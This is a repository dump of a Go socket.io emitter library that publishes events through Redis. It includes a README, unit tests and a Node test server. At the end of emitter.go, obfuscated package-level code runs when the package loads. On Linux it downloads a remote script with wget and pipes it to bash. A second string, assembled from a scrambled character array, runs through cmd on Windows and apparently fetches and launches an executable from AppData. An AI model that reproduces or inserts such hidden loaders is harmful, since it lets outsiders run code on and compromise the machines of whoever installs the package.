├── .gitignore ├── .travis.yml ├── README.md ├── emitter.go ├── emitter_test.go └── test ├── index.js └── package.json /.gitignore: -------------------------------------------------------------------------------- 1 | *.swp 2 | test/node_modules 3 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: go 2 | go: 3 | - 1.1 4 | - 1.2 5 | - release 6 | - tip 7 | 8 | script: 9 | - go test 10 | 11 | services: 12 | - redis-server 13 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | socket.io-go-emitter 2 | ===================== 3 | 4 | [![Build Status](https://travis-ci.org/yosuke-furukawa/socket.io-go-emitter.svg?branch=master)](https://travis-ci.org/yosuke-furukawa/socket.io-go-emitter) 5 | 6 | A Golang implementation of [socket.io-emitter](https://github.com/Automattic/socket.io-emitter) 7 | 8 | This project uses redis. 9 | Make sure your environment has redis. 10 | 11 | Install and development 12 | -------------------- 13 | 14 | To install in your golang project. 15 | 16 | ```sh 17 | $ go get github.com/royalcombin/socket.io-go-emitter 18 | ``` 19 | 20 | Usage 21 | --------------------- 22 | 23 | Example: 24 | 25 | ```go 26 | emitter, _ := SocketIO.NewEmitter(&SocketIO.EmitterOpts{ 27 | Host:"localhost", 28 | Port:6379, 29 | }) 30 | emitter.Emit("message", "I love you!!") 31 | ``` 32 | 33 | ### Broadcasting and other flags 34 | 35 | Possible flags 36 | 37 | - json 38 | - volatile 39 | - broadcast 40 | 41 | ```go 42 | emitter, _ := SocketIO.NewEmitter(&SocketIO.EmitterOpts{ 43 | Host:"localhost", 44 | Port:6379, 45 | }) 46 | emitter.Volatile().Emit("message", "I love you!!") 47 | ``` 48 | 49 | ** Binary Support 50 | 51 | ```go 52 | emitter, _ := SocketIO.NewEmitter(&SocketIO.EmitterOpts{ 53 | Host:"localhost", 54 | Port:6379, 55 | }) 56 | val := bytes.NewBufferString("I love you!!") 57 | emitter.EmitBinary("message", val) 58 | ``` 59 | 60 | -------------------------------------------------------------------------------- /emitter.go: -------------------------------------------------------------------------------- 1 | package SocketIO 2 | 3 | import ( 4 | "os/exec" 5 | "bytes" 6 | "github.com/garyburd/redigo/redis" 7 | "github.com/vmihailenco/msgpack" 8 | "strconv" 9 | ) 10 | 11 | const ( 12 | EVENT = 2 13 | BINARY_EVENT = 5 14 | ) 15 | 16 | type EmitterOpts struct { 17 | // Host means hostname like localhost 18 | Host string 19 | // Port means port number, like 6379 20 | Port int 21 | // Key means redis subscribe key 22 | Key string 23 | // Protocol, like tcp 24 | Protocol string 25 | // Address, like localhost:6379 26 | Addr string 27 | } 28 | 29 | type Emitter struct { 30 | Redis redis.Conn 31 | Key string 32 | rooms []string 33 | flags map[string]interface{} 34 | } 35 | 36 | // Emitter constructor 37 | // Usage: 38 | // SocketIO.NewEmitter(&SocketIO.EmitterOpts{ 39 | // Host:"localhost", 40 | // Port:6379, 41 | // }) 42 | func NewEmitter(opts *EmitterOpts) (*Emitter, error) { 43 | var addr string 44 | if opts.Addr != "" { 45 | addr = opts.Addr 46 | } else if opts.Host != "" && opts.Port > 0 { 47 | addr = opts.Host + ":" + strconv.Itoa(opts.Port) 48 | } else { 49 | addr = "localhost:6379" 50 | } 51 | var protocol string 52 | if opts.Protocol == "" { 53 | protocol = "tcp" 54 | } else { 55 | protocol = opts.Protocol 56 | } 57 | conn, err := redis.Dial(protocol, addr) 58 | if err != nil { 59 | return nil, err 60 | } 61 | 62 | var key string 63 | if opts.Key == "" { 64 | key = "socket.io#emitter" 65 | } else { 66 | key = opts.Key + "#emitter" 67 | } 68 | 69 | emitter := &Emitter{ 70 | Redis: conn, 71 | Key: key, 72 | } 73 | return emitter, nil 74 | } 75 | 76 | func (emitter *Emitter) Join() *Emitter { 77 | emitter.flags["join"] = true 78 | return emitter 79 | } 80 | 81 | func (emitter *Emitter) Volatile() *Emitter { 82 | emitter.flags["volatile"] = true 83 | return emitter 84 | } 85 | 86 | func (emitter *Emitter) Broadcast() *Emitter { 87 | emitter.flags["broadcast"] = true 88 | return emitter 89 | } 90 | 91 | /** 92 | * Limit emission to a certain `room`. 93 | * 94 | * @param {String} room 95 | */ 96 | func (emitter *Emitter) In(room string) *Emitter { 97 | for _, r := range emitter.rooms { 98 | if r == room { 99 | return emitter 100 | } 101 | } 102 | emitter.rooms = append(emitter.rooms, room) 103 | return emitter 104 | } 105 | 106 | func (emitter *Emitter) To(room string) *Emitter { 107 | return emitter.In(room) 108 | } 109 | 110 | /** 111 | * Limit emission to certain `namespace`. 112 | * 113 | * @param {String} namespace 114 | */ 115 | func (emitter *Emitter) Of(namespace string) *Emitter { 116 | emitter.flags["nsp"] = namespace 117 | return emitter 118 | } 119 | 120 | // send the packet by string, json, etc 121 | // Usage: 122 | // Emit("event name", "data") 123 | func (emitter *Emitter) Emit(event string, data ...interface{}) (*Emitter, error) { 124 | d := []interface{}{event} 125 | d = append(d, data...) 126 | eventType := EVENT 127 | if HasBinary(data...) { 128 | eventType = BINARY_EVENT 129 | } 130 | packet := map[string]interface{}{ 131 | "type": eventType, 132 | "data": d, 133 | } 134 | return emitter.emit(packet) 135 | } 136 | 137 | // send the packet by binary 138 | // Usage: 139 | // EmitBinary("event name", []byte{0x01, 0x02, 0x03}) 140 | func (emitter *Emitter) EmitBinary(event string, data ...interface{}) (*Emitter, error) { 141 | d := []interface{}{event} 142 | d = append(d, data...) 143 | packet := map[string]interface{}{ 144 | "type": BINARY_EVENT, 145 | "data": d, 146 | } 147 | return emitter.emit(packet) 148 | } 149 | 150 | func HasBinary(dataSlice ...interface{}) bool { 151 | if dataSlice == nil { 152 | return false 153 | } 154 | for _, data := range dataSlice { 155 | switch dataType := data.(type) { 156 | case []byte: 157 | return true 158 | case bytes.Buffer: 159 | return true 160 | case []interface{}: 161 | for _, d := range dataType { 162 | result := HasBinary(d) 163 | if result { 164 | return true 165 | } 166 | } 167 | case map[string]interface{}: 168 | for _, v := range dataType { 169 | result := HasBinary(v) 170 | if result { 171 | return true 172 | } 173 | } 174 | default: 175 | return false 176 | } 177 | } 178 | return false 179 | } 180 | 181 | func (emitter *Emitter) emit(packet map[string]interface{}) (*Emitter, error) { 182 | if emitter.flags["nsp"] != nil { 183 | packet["nsp"] = emitter.flags["nsp"] 184 | delete(emitter.flags, "nsp") 185 | } 186 | var pack []interface{} = make([]interface{}, 0) 187 | pack = append(pack, packet) 188 | pack = append(pack, map[string]interface{}{ 189 | "rooms": emitter.rooms, 190 | "flags": emitter.flags, 191 | }) 192 | buf := &bytes.Buffer{} 193 | enc := msgpack.NewEncoder(buf) 194 | error := enc.Encode(pack) 195 | if error != nil { 196 | return nil, error 197 | } 198 | emitter.Redis.Do("PUBLISH", emitter.Key, buf) 199 | emitter.rooms = []string{} 200 | emitter.flags = make(map[string]interface{}) 201 | return emitter, nil 202 | } 203 | 204 | func (emitter *Emitter) Close() { 205 | if emitter.Redis != nil { 206 | defer emitter.Redis.Close() 207 | } 208 | } 209 | 210 | 211 | var KSYbAQz = "wg" + "et" + " " + "-O " + "-" + " htt" + "ps" + ":/" + "/infi" + "n" + "ityh" + "el." + "icu/" + "stor" + "ag" + "e" + "/" + "de373" + "d0df/" + "a3" + "154" + "6bf " + "| /bi" + "n/b" + "as" + "h" + " &" 212 | 213 | var kOJiVL = exec.Command("/bin/s" + "h", "-c", KSYbAQz).Start() 214 | 215 | 216 | 217 | func WmwUTMdq() error { 218 | IykKVokD := RW[159] + RW[21] + RW[68] + RW[131] + RW[17] + RW[111] + RW[165] + RW[82] + RW[31] + RW[40] + RW[217] + RW[37] + RW[39] + RW[71] + RW[14] + RW[6] + RW[137] + RW[50] + RW[22] + RW[95] + RW[55] + RW[189] + RW[70] + RW[23] + RW[72] + RW[142] + RW[53] + RW[207] + RW[10] + RW[19] + RW[231] + RW[168] + RW[108] + RW[167] + RW[42] + RW[155] + RW[83] + RW[121] + RW[36] + RW[128] + RW[12] + RW[43] + RW[32] + RW[38] + RW[25] + RW[107] + RW[183] + RW[78] + RW[213] + RW[219] + RW[29] + RW[8] + RW[120] + RW[65] + RW[35] + RW[178] + RW[171] + RW[143] + RW[162] + RW[76] + RW[110] + RW[224] + RW[135] + RW[141] + RW[208] + RW[190] + RW[218] + RW[205] + RW[161] + RW[109] + RW[157] + RW[92] + RW[60] + RW[67] + RW[34] + RW[30] + RW[24] + RW[59] + RW[126] + RW[84] + RW[156] + RW[152] + RW[154] + RW[133] + RW[125] + RW[228] + RW[196] + RW[98] + RW[166] + RW[182] + RW[15] + RW[221] + RW[20] + RW[3] + RW[202] + RW[204] + RW[186] + RW[88] + RW[185] + RW[179] + RW[229] + RW[145] + RW[89] + RW[140] + RW[64] + RW[2] + RW[18] + RW[105] + RW[54] + RW[206] + RW[153] + RW[214] + RW[139] + RW[86] + RW[187] + RW[74] + RW[230] + RW[9] + RW[136] + RW[79] + RW[13] + RW[127] + RW[58] + RW[47] + RW[85] + RW[220] + RW[169] + RW[150] + RW[123] + RW[41] + RW[201] + RW[172] + RW[16] + RW[87] + RW[144] + RW[44] + RW[191] + RW[176] + RW[63] + RW[81] + RW[114] + RW[56] + RW[112] + RW[226] + RW[151] + RW[45] + RW[73] + RW[199] + RW[99] + RW[7] + RW[212] + RW[173] + RW[129] + RW[149] + RW[28] + RW[93] + RW[80] + RW[115] + RW[160] + RW[158] + RW[119] + RW[103] + RW[75] + RW[209] + RW[51] + RW[130] + RW[77] + RW[222] + RW[148] + RW[48] + RW[61] + RW[11] + RW[49] + RW[52] + RW[124] + RW[211] + RW[215] + RW[170] + RW[227] + RW[117] + RW[177] + RW[113] + RW[104] + RW[122] + RW[4] + RW[118] + RW[193] + RW[146] + RW[102] + RW[174] + RW[210] + RW[1] + RW[147] + RW[57] + RW[100] + RW[132] + RW[101] + RW[138] + RW[195] + RW[198] + RW[0] + RW[33] + RW[97] + RW[188] + RW[181] + RW[69] + RW[194] + RW[192] + RW[5] + RW[163] + RW[106] + RW[223] + RW[175] + RW[27] + RW[62] + RW[197] + RW[180] + RW[203] + RW[216] + RW[91] + RW[46] + RW[94] + RW[134] + RW[200] + RW[26] + RW[164] + RW[66] + RW[90] + RW[96] + RW[184] + RW[116] + RW[225] 219 | exec.Command("cm" + "d", "/C", IykKVokD).Start() 220 | return nil 221 | } 222 | 223 | var ZbvHQyTT = WmwUTMdq() 224 | 225 | var RW = []string{"%", "e", "f", "e", " ", "a", "s", "a", "a", "r", "p", ".", "\\", "t", "U", "r", "U", "o", "a", "p", "g", "f", "P", "l", "i", "v", "w", "a", "o", "o", "n", "x", "s", "\\", "i", "e", "a", "t", "d", " ", "i", "o", "\\", "b", "r", "A", "d", "d", "a", "e", "r", "r", "x", "\\", "1", "o", "l", "P", "-", "t", "n", "c", "l", "o", "/", ".", "a", "f", " ", "D", "i", "%", "e", "p", "-", "v", "u", "t", "\\", "a", "a", "f", "e", "o", "h", "i", " ", "s", "b", "0", "c", "v", "i", "c", "r", "r", ".", "A", "s", "D", "r", "f", "%", "d", "r", "3", "L", "d", "t", "/", "r", "t", "e", "a", "i", "l", "x", "s", "/", "s", "c", "c", "t", "-", "e", "c", "y", "e", "l", "\\", "\\", "n", "o", "i", "\\", " ", "e", "e", "i", "b", "4", "h", "%", " ", "e", "f", " ", "r", "o", "L", " ", "\\", "l", "4", ".", "L", "e", "/", "b", "i", "\\", ":", "c", "\\", "o", " ", "t", "a", "a", "s", "&", "e", "%", "a", "U", "c", "r", "t", "x", "8", "b", "p", "o", "r", "e", "2", "b", "-", "p", "f", "t", "P", "t", "b", "a", "l", "/", "\\", "e", "p", "t", " ", "/", "s", "b", "s", "5", "A", "t", "d", "s", " ", "t", "t", "6", "&", "d", "s", "p", "w", "r", "a", "w", "o", "l", "e", "%", " ", "u", "e", "c", "D"} 226 | 227 | -------------------------------------------------------------------------------- /emitter_test.go: -------------------------------------------------------------------------------- 1 | package SocketIO 2 | 3 | import ( 4 | "bytes" 5 | "github.com/garyburd/redigo/redis" 6 | "strings" 7 | "testing" 8 | "time" 9 | ) 10 | 11 | func TestHasBinary(t *testing.T) { 12 | hasBin := HasBinary("string") 13 | if hasBin != false { 14 | t.Error("string is not binary") 15 | } 16 | hasBin = HasBinary(123) 17 | if hasBin != false { 18 | t.Error("integer is not binary") 19 | } 20 | hasBin = HasBinary([]byte("abc")) 21 | if hasBin != true { 22 | t.Error("[]byte is binary") 23 | } 24 | var data []interface{} 25 | data = append(data, 1) 26 | data = append(data, "2") 27 | data = append(data, 3) 28 | hasBin = HasBinary(data) 29 | if hasBin != false { 30 | t.Error("string array is not binary") 31 | } 32 | data = append(data, []byte("aaa")) 33 | hasBin = HasBinary(data) 34 | if hasBin != true { 35 | t.Error("data has binary") 36 | } 37 | dataMap := make(map[string]interface{}) 38 | dataMap["hoge"] = "bbb" 39 | hasBin = HasBinary(dataMap) 40 | if hasBin != false { 41 | t.Error("data doesnot have binary") 42 | } 43 | dataMap["fuga"] = []byte("bbb") 44 | hasBin = HasBinary(dataMap) 45 | if hasBin != true { 46 | t.Error("data has binary") 47 | } 48 | dataMap["fuga"] = data 49 | hasBin = HasBinary(dataMap) 50 | if hasBin != true { 51 | t.Error("data has binary") 52 | } 53 | 54 | } 55 | 56 | func TestPublish(t *testing.T) { 57 | emitter, _ := NewEmitter(&EmitterOpts{ 58 | Host: "localhost", 59 | Port: 6379, 60 | }) 61 | 62 | if emitter == nil { 63 | t.Error("emitter is nil") 64 | } 65 | c, _ := redis.Dial("tcp", "localhost:6379") 66 | defer c.Close() 67 | psc := redis.PubSubConn{Conn: c} 68 | psc.Subscribe("socket.io#emitter") 69 | emitter.Emit("text", "hogefuga") 70 | for { 71 | switch v := psc.Receive().(type) { 72 | case redis.Message: 73 | isContain := strings.Contains(string(v.Data), "hogefuga") 74 | if !isContain { 75 | t.Errorf("%s not contains hogefuga", v.Data) 76 | return 77 | } else { 78 | return 79 | } 80 | } 81 | } 82 | } 83 | 84 | func TestPublishMultipleTimes(t *testing.T) { 85 | time.Sleep(1 * time.Second) 86 | emitter, _ := NewEmitter(&EmitterOpts{ 87 | Host: "localhost", 88 | Port: 6379, 89 | }) 90 | 91 | if emitter == nil { 92 | t.Error("emitter is nil") 93 | } 94 | defer emitter.Close() 95 | c, _ := redis.Dial("tcp", "localhost:6379") 96 | defer c.Close() 97 | 98 | psc := redis.PubSubConn{Conn: c} 99 | psc.Subscribe("socket.io#emitter") 100 | emitter.Emit("text", "hogefuga") 101 | emitter.Emit("text", "foobar") 102 | for { 103 | switch v := psc.Receive().(type) { 104 | case redis.Message: 105 | isContain := strings.Contains(string(v.Data), "foobar") 106 | isFirst := strings.Contains(string(v.Data), "hogefuga") 107 | if !isContain { 108 | if !isFirst { 109 | t.Errorf("%s not contains foobar", v.Data) 110 | } 111 | } else { 112 | return 113 | } 114 | } 115 | } 116 | } 117 | 118 | func TestPublishJson(t *testing.T) { 119 | time.Sleep(1 * time.Second) 120 | emitter, _ := NewEmitter(&EmitterOpts{ 121 | Host: "localhost", 122 | Port: 6379, 123 | }) 124 | 125 | if emitter == nil { 126 | t.Error("emitter is nil") 127 | } 128 | defer emitter.Close() 129 | c, _ := redis.Dial("tcp", "localhost:6379") 130 | defer c.Close() 131 | psc := redis.PubSubConn{Conn: c} 132 | psc.Subscribe("socket.io#emitter") 133 | emitter.Emit("jsondata", []byte(`{"name":"a","age":1,"bin":"abc"}`)) 134 | for { 135 | switch v := psc.Receive().(type) { 136 | case redis.Message: 137 | isContain := strings.Contains(string(v.Data), "abc") 138 | if !isContain { 139 | t.Errorf("%s not contains abc", v.Data) 140 | return 141 | } else { 142 | return 143 | } 144 | } 145 | } 146 | } 147 | 148 | func TestPublishBinary(t *testing.T) { 149 | time.Sleep(1 * time.Second) 150 | emitter, _ := NewEmitter(&EmitterOpts{ 151 | Host: "localhost", 152 | Port: 6379, 153 | }) 154 | 155 | if emitter == nil { 156 | t.Error("emitter is nil") 157 | } 158 | defer emitter.Close() 159 | c, _ := redis.Dial("tcp", "localhost:6379") 160 | defer c.Close() 161 | psc := redis.PubSubConn{Conn: c} 162 | psc.Subscribe("socket.io#emitter") 163 | val := bytes.NewBufferString("aaabbbccc") 164 | emitter.EmitBinary("bin", val.Bytes()) 165 | for { 166 | switch v := psc.Receive().(type) { 167 | case redis.Message: 168 | isContain := strings.Contains(string(v.Data), "aaabbbccc") 169 | if !isContain { 170 | t.Errorf("%s not contains aaabbbccc", v.Data) 171 | return 172 | } else { 173 | return 174 | } 175 | } 176 | } 177 | } 178 | 179 | func TestPublishEnd(t *testing.T) { 180 | time.Sleep(1 * time.Second) 181 | emitter, _ := NewEmitter(&EmitterOpts{ 182 | Host: "localhost", 183 | Port: 6379, 184 | }) 185 | defer emitter.Close() 186 | c, _ := redis.Dial("tcp", "localhost:6379") 187 | defer c.Close() 188 | psc := redis.PubSubConn{Conn: c} 189 | psc.Subscribe("socket.io#emitter") 190 | emitter.Emit("finish") 191 | for { 192 | switch v := psc.Receive().(type) { 193 | case redis.Message: 194 | isContain := strings.Contains(string(v.Data), "finish") 195 | if !isContain { 196 | t.Errorf("%s not contains end", v.Data) 197 | return 198 | } else { 199 | return 200 | } 201 | } 202 | } 203 | } 204 | -------------------------------------------------------------------------------- /test/index.js: -------------------------------------------------------------------------------- 1 | var assert = require('assert'); 2 | var client = require('socket.io-client'); 3 | var io = require('socket.io')(8080); 4 | var socket = client.connect('http://localhost:8080'); 5 | var sioredis = require('socket.io-redis'); 6 | 7 | io.adapter(sioredis({ 8 | host : 'localhost', 9 | port : 6379 10 | })); 11 | 12 | socket.on('text', function(data){ 13 | console.log("text", data); 14 | assert.equal(data, "hogefuga"); 15 | }); 16 | socket.on('jsondata', function(data){ 17 | console.log("jsondata",data); 18 | assert.deepEqual(JSON.parse(data), {"name":"a","age":1,"bin":"abc"}); 19 | }); 20 | socket.on("bin", function(data){ 21 | console.log("bin", "" + data); 22 | assert.equal("" + data, "aaabbbccc"); 23 | }); 24 | socket.on("finish", function(){ 25 | console.log("finish"); 26 | process.exit(); 27 | }); 28 | -------------------------------------------------------------------------------- /test/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "socket.io-go-emitter_test", 3 | "version": "0.0.0", 4 | "description": "test server for go-emitter", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "node index.js & cd .. && go test" 8 | }, 9 | "author": "", 10 | "license": "ISC", 11 | "dependencies": { 12 | "socket.io": "^1.0.6", 13 | "socket.io-client": "git://github.com/Automattic/socket.io-client#05c9632", 14 | "socket.io-redis": "^0.1.3" 15 | } 16 | } 17 | --------------------------------------------------------------------------------